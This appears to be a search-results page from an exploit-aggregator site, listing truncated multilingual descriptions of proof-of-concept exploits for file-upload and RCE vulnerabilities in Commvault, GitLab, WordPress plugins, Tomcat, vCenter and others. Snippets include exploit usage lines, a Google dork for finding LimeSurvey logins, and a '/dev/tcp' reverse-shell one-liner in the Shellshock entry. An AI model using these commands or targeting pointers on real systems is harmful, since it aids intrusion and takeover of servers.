73014 matches found
watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028
CVE-2025-34028 Commvault の事前認証リモートコード実行の概念実証 技術的詳細については、当社のブログ記事をご覧ください。 動作中の検出 root@kitploit: python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...
cve-2026-85706
CVE-2026-85706 — GitLab 未认证任意文件读取 CVSS 10.0 · 未认证 · 已被积极利用（CISA KEV） GitLab Workhorse （Go 反向代理）与 Puma/Grape （Ruby）之间的解析器差异，使未认证攻击者能够绕过 Workhorse 的加速上传交接，并以攻击者可控的 file.path 访问三个上传端点，从而在 GitLab 主机上实现任意文件读取 。 将 files 中的一个字符编码为 %66iles，会使 Workhorse 的上传路由无法匹配 （它基于 编码后 的路径进行匹配），而 Rails...
CVE-2022-29464
CVE-2022-29464 CVE-2022-29464 は、オープンソースのアイデンティティおよびアクセス管理プラットフォームである WSO2 Identity Server における重大な脆弱性です。この脆弱性により、リモートの攻撃者は悪意のある JSP ファイルをアップロードし、管理権限でターゲットシステム上で任意のコマンドを実行できます。この脆弱性は、ファイルアップロード機能の問題であり、ファイル拡張子の検証メカニズムをバイパスすることで悪用されます。CVSS スコアは 9.8 と評価され、その深刻度を示しています。 ダークの例 root@kitploit: title:"WS...
CVE-2021-40870
CVE-2021-40870 の悪用 Aviatrix Controller 6.x（6.5-1804.1922 より前）に問題が発見されました。危険なタイプのファイルの無制限アップロードが可能であり、これにより認証されていないユーザーがディレクトリトラバーサルを介して任意のコードを実行できるようになります。 インストールが必要なモジュール このプロジェクトを実行するには、Python に以下のモジュールを追加する必要があります。 requests urllib3 使用方法 このプロジェクトを実行するには、以下の手順を実行します。 root@kitploit: python3 poc.p...
CVE-2025-2005
CVE-2025-2005 WordPress Front End Users 插件 = 3.2.32 存在任意文件上传漏洞 WordPress Front-End Users 插件漏洞利用 漏洞信息 插件名称 ：Front-End Users Plugin 受影响版本 ：= 3.2.32 漏洞类型 ：任意文件上传 CVSS 评分 ：10（严重） 风险 ：该漏洞允许未经认证的攻击者上传任意文件（例如 PHP Web Shell），并可远程执行这些文件。这可在服务器上实现完全代码执行，导致服务器被完全控制。 漏洞描述 该漏洞存在于 Front-End Users...
CVE-2026-0740-upload-template
此存储库没有 README。...
CVE-2026-4040-Race-Condition-in-File-Upload-Leading-to-RCE
CVE-2026-4040 – 文件上传中的竞态条件导致远程代码执行（RCE） 程序代码（Python Flask） root@kitploit: uploadserver.py - File upload with race condition from flask import Flask, request import os, tempfile, time, threading app = Flaskname UPLOADDIR = '/tmp/uploads' os.makedirsUPLOADDIR, existok=True @app.route'/upload',...
CVE-2024-25832-PoC
CVE-2024-25830 和 CVE-2024-25832 - DataCube3 不当访问控制与无限制文件上传。 概述 本仓库提供了一个针对 DataCube3 设备的两步利用链概念验证（PoC）。它结合了 CVE-2024-25830（不当访问控制）来提取 root 密码，以及 CVE-2024-25832（无限制文件上传）来部署反向 Shell 脚本。该 PoC 补充了博文“DataCube3 漏洞报告”中的详细漏洞分析。 受影响版本 所有 F-logic DataCube3 设备版本 1.0。 PoC 脚本用法 root@kitploit: Usage: python...
CVE-2023-24998
当未定义 multipartResolver 或注册了 StandardServletMultipartResolver 时 使用 Tomcat 内部包中的 FileUpload 此时 Tomcat 版本必须大于 9.0.71 spring boot 2.7.8 Tomcat 的 maxParameterCountDefault: 10000 设置会被注入到 FileUpload.setFileCountMax 中 不使用 Apache Commons Fileupload 依赖 当将 multipartResolver 注册为 CommonsMultipartResolver 时 必须...
CVE-2014-6271
Hellshocker 0.1.1 Shellshock脆弱性を悪用するツール 脆弱なShellshockエクスプロイトや、単に「/bin/bash & /dev/tcp/IP/port 0&1」でサーバーに侵入する方法に飽きていませんか？ そうです、サーバーにさらに複雑なものをアップロードして実行する必要がありますが、巨大なファイルをbase64エンコードすると、HTTPリクエストがウェブサーバーに受け入れられなくなります。...
CVE-2021-44967
CVE-2021-44967 root@kitploit: Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...
OpenPLC-CVE-2021-31630-RCE
OpenPLC v3 RCE autenticado CVE-2021-31630 Este es un exploit de prueba de concepto moderno y compatible con Python 3.13+ para CVE-2021-31630, una vulnerabilidad en OpenPLC v3 que permite a un usuario autenticado subir una capa de hardware personalizada que contiene código malicioso, lo que lleva ...
CVE-2025-5394
🚨 CVE-2025-5394 - Alone 主题中的未认证任意插件上传 📌 受影响产品： Alone – 慈善多功能非营利 WordPress 主题 版本： 🚀 使用示例： root@kitploit: python3 CVE-2025-5394.py -help root@kitploit: usage: CVE-2025-5394.py -h -u URL -s SHELL CVE-2025-5394 Exploit | by Khaled Alenazi Nxploited options: -h, --help show this help message and exit...
CVE-2021-21972
CVE-2021-21972 漏洞描述 cve-2021-21972代码执行漏洞 具有443端口访问权限的恶意攻击者可以通过向vCenter Server发送精心构造的请求，最终造成远程任意代码执行。 漏洞检测 1、漏洞为任意文件上传 2、漏洞存在的接口为 /ui/vropspluginui/rest/services/uploadova， 完整路径 https://domain.com/ui/vropspluginui/rest/services/uploadova 修复建议 - vCenter Server7.0版本升级到7.0.U1c - vCenter...
CVE-2021-45010
CVE-2021-45010 🐍 作為的なPython PoCエクスプロイト for CVE-2021-45010. Tiny File Manager 2.4.7 使用方法 root@kitploit: usage: main.py -h -u URL -l USERNAME -p PASSWORD -g GUIPATH -r FSRELPATH options: -h, --help show this help message and exit -u URL, --url URL Base URL -l USERNAME, --username USERNAME Username ...
CVE-2024-9047-Exploit
CVE-2024-9047：WordPress 文件上传插件漏洞利用 描述 WordPress 文件上传 插件的所有版本（包括 4.24.11 及更早版本）中存在一个 路径遍历 漏洞，该漏洞位于 wfufiledownloader.php 文件中。此漏洞允许未经身份验证的攻击者读取或删除预期目录之外的文件。成功利用此漏洞需要目标 WordPress 站点运行 PHP 7.4 或更早版本 。 影响 严重性： 严重 CVSS 评分： 9.8（严重） 攻击向量： 网络 是否需要身份验证： 否 利用方式 攻击者可以通过向存在漏洞的端点 wfufiledownloader.php...
CVE-2025-22968
CVE-2025-22968 D-Link DWR-M972V ソフトウェアバージョン 1.05SSG の認証不要アクセス脆弱性 説明 D-Link DWR-M972V（ソフトウェアバージョン 1.05SSG）のデフォルト設定における認証不要のアクセスにより、匿名の攻撃者がルーターにアクセスし、公開アクセスを介して悪意のあるバックドアスクリプトをアップロードできる。 脆弱性タイプ 不適切な認証 製品ベンダー D-Link 影響を受ける製品コードベース D-Link DWR-M972V Software Version 1.05SSG 影響を受けるコンポーネント ルーター上の Router...
CVE-2017-12615
CVE-2017-12615 使用方法: CVE-2017-12615.py http://targetip:port Apache Tomcat 7.0.0 ～ 7.0.79 において、運用担当者が誤ってweb.xmlのPUTメソッドを有効にした場合、このEXPは動作するはずです。...
CVE-2019-11223
CVE-2019-11223 WordPress插件SupportCandy 2.0以下版本中的任意文件上传 https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...